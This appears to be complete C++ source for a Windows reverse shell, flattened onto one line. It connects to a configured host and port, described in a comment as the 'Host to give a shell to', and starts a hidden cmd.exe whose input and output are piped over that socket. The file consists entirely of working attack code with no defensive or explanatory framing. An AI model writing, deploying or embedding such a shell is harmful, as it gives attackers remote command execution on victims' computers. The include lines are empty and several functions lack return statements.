#include #include #include #include #pragma comment(lib, "ws2_32") #define MAX_BUFFER_LENGTH 2048 #define WIN32_MEAN_AND_LEAN #define SET_ERROR_MSG_LANGUAGE_ENGLISH // Remove this line to set the error language msg to your own language #define CONNECT_TO_HOST "127.0.0.1" // Host to give a shell to #define CONNECT_TO_PORT 80 // Port to connect to using namespace std; typedef struct THREADINFO { SOCKET cSocket; HANDLE cmd_read; HANDLE cmd_write; HANDLE socket_read; HANDLE socket_write; SECURITY_ATTRIBUTES secattr; STARTUPINFO si; PROCESS_INFORMATION pi; } THREADINFO; // Forward declaration of threads unsigned long WINAPI* HandleInput(void* threadinfo); unsigned long WINAPI* HandleProcess(void* threadinfo); unsigned long WINAPI* HandleSocket(void* threadinfo); // Error function void ShowLastError(); int main(int argc, char* argv[]) { system("cls"); printf("[?] Initializing WSADATA...\r\n"); WSADATA wsaData; if (WSAStartup(MAKEWORD(2, 2), &wsaData)) { printf("[-] WSAStartup() failed.\r\n"); ShowLastError(); system("pause"); return 1; } printf("[+] Socket DLL loaded, WSADATA initialized.\r\n"); printf("[?] Creating socket...\r\n"); THREADINFO thread; memset(&thread, 0, sizeof(THREADINFO)); thread.cSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (thread.cSocket == INVALID_SOCKET) { printf("[-] Failed to create socket.\r\n"); ShowLastError(); WSACleanup(); system("pause"); return 1; } printf("[+] socket() created.\r\n"); hostent *remoteHost; char* host = CONNECT_TO_HOST; if (isalpha(int(host[0]))) { remoteHost = gethostbyname(CONNECT_TO_HOST); if (remoteHost != NULL) { host = inet_ntoa(*(in_addr *)*remoteHost->h_addr_list); printf("[+] IP of %s: %s (hostname: %s).\r\n", CONNECT_TO_HOST, host, remoteHost->h_name); } else printf("[-] Could not retrieve IP and hostname.\r\n"); } else { unsigned int addr = inet_addr(host); remoteHost = gethostbyaddr((char*)&addr, 4, AF_INET); if (remoteHost == NULL) printf("[-] Could not retrieve hostname."); else printf("[+] Hostname of %s: %s\r\n", host, remoteHost->h_name); } printf("[?] Connecting to %s on port %u...\r\n", CONNECT_TO_HOST, CONNECT_TO_PORT); sockaddr_in sAddr; sAddr.sin_family = AF_INET; sAddr.sin_addr.s_addr = inet_addr(CONNECT_TO_HOST); sAddr.sin_port = htons(CONNECT_TO_PORT); if (connect(thread.cSocket, (SOCKADDR*)&sAddr, sizeof(sAddr)) == SOCKET_ERROR) { printf("[-] Failed to connect.\r\n"); ShowLastError(); WSACleanup(); system("pause"); return 1; } printf("[+] Connected to %s on port %u.\r\n", CONNECT_TO_HOST, CONNECT_TO_PORT); thread.secattr.nLength = sizeof(SECURITY_ATTRIBUTES); thread.secattr.bInheritHandle = true; CreatePipe(&thread.socket_read, &thread.cmd_write, &thread.secattr, 0); CreatePipe(&thread.cmd_read, &thread.socket_write, &thread.secattr, 0); GetStartupInfo(&thread.si); thread.si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW; thread.si.hStdError = thread.socket_write; thread.si.hStdOutput = thread.socket_write; thread.si.hStdInput = thread.socket_read; thread.si.wShowWindow = SW_HIDE; printf("[?] Creating process...\r\n"); if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, true, 0, NULL, NULL, &thread.si, &thread.pi)) { printf("[-] Failed to create process.\r\n"); ShowLastError(); WSACleanup(); closesocket(thread.cSocket); system("pause"); return 1; } printf("[+] Process created.\r\n"); Sleep(200); HANDLE hInputT = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)HandleInput, (void*)&thread, 0, 0); printf("[+] Created HandleInput thread.\r\n"); HANDLE hProcessT = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)HandleProcess, (void*)&thread, 0, 0); printf("[+] Created HandleProcess thread.\r\n"); HANDLE hSocketT = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)HandleSocket, (void*)&thread, 0, 0); printf("[+] Created HandleSocket thread.\r\n"); WaitForSingleObject(hProcessT, INFINITE); // Wait for the thread to finish CloseHandle(hProcessT); closesocket(thread.cSocket); WaitForSingleObject(hSocketT, INFINITE); // Wait for the socket thread to finish CloseHandle(hSocketT); printf("[+] All done, press any key to exit.\r\n"); WaitForSingleObject(hInputT, INFINITE); CloseHandle(hInputT); return 0; } // input thread unsigned long WINAPI* HandleInput(void* threadinfo) { THREADINFO* thread = (THREADINFO*)threadinfo; unsigned long b_send = 0; char input_buf[MAX_BUFFER_LENGTH+1]; while (thread->cSocket) { memset(&input_buf, 0, sizeof(input_buf)); cin.getline(input_buf, sizeof(input_buf)); input_buf[strlen(input_buf)] = '\n'; send(thread->cSocket, input_buf, (int)strlen(input_buf), 0); WriteFile(thread->cmd_write, input_buf, (int)strlen(input_buf), &b_send, 0); //printf("%s", input_buf); } printf("[+] HandleInput thread has finished.\r\n"); return 0; } // read cmd.exe output thread unsigned long WINAPI* HandleProcess(void* threadinfo) { THREADINFO* thread = (THREADINFO*)threadinfo; char incoming_text[MAX_BUFFER_LENGTH]; unsigned long b_read, b_avail, p_exitcode = 0; while (thread->cSocket) { Sleep(100); memset(incoming_text, 0, sizeof(incoming_text)); PeekNamedPipe(thread->cmd_read, incoming_text, sizeof(incoming_text), &b_read, &b_avail, NULL); while (b_read != 0) { ReadFile(thread->cmd_read, incoming_text, sizeof(incoming_text), &b_read, NULL); printf("%s", incoming_text); send(thread->cSocket, incoming_text, b_read, 0); Sleep(200); // give cmd.exe time to process and send the message memset(incoming_text, 0, sizeof(incoming_text)); PeekNamedPipe(thread->cmd_read, incoming_text, sizeof(incoming_text), &b_read, &b_avail, NULL); } if (!GetExitCodeProcess(thread->pi.hProcess, &p_exitcode)) { printf("[-] Failed to get process status: %d - fatal error.\r\n", errno); TerminateProcess(thread->pi.hProcess, GetLastError()); break; } if (p_exitcode != STILL_ACTIVE) break; } printf("[+] HandleProcess thread has finished.\r\n"); } // read from socket thread unsigned long WINAPI* HandleSocket(void* threadinfo) { THREADINFO* thread = (THREADINFO*)threadinfo; char incoming_text[MAX_BUFFER_LENGTH+1]; memset(&incoming_text, 0, MAX_BUFFER_LENGTH); unsigned long b_recv, b_read, b_avail, p_exitcode = 0; while (thread->cSocket) { Sleep(200); b_recv = MAX_BUFFER_LENGTH; while (b_recv >= MAX_BUFFER_LENGTH) { b_recv = recv(thread->cSocket, incoming_text, MAX_BUFFER_LENGTH, 0); if (b_recv == -1) { switch (errno) { case 10053: printf("[-] Can't recv() from a closed socket.\r\n"); break; case 10054: case 0: printf("[*] Remote host (%s) closed connection.\r\n", CONNECT_TO_HOST); break; default: printf("[*] recv() error: %s\r\n", strerror(errno)); break; } thread->cSocket = 0; break; } else if (b_recv == 0) { printf("[*] Remote host (%s) closed connection.\r\n", CONNECT_TO_HOST); thread->cSocket = 0; break; } incoming_text[b_recv] = '\0'; printf("%s", incoming_text); WriteFile(thread->cmd_write, incoming_text, b_recv, &b_read, 0); } } printf("[+] HandleSocket thread has finished.\r\n"); } void ShowLastError() { void* lpMsgBuf; FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM, 0, GetLastError(), #ifndef SET_ERROR_MSG_LANGUAGE_ENGLISH MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT) #else MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US) #endif , (LPTSTR) &lpMsgBuf, 0, NULL); printf("%s", lpMsgBuf); LocalFree(lpMsgBuf); }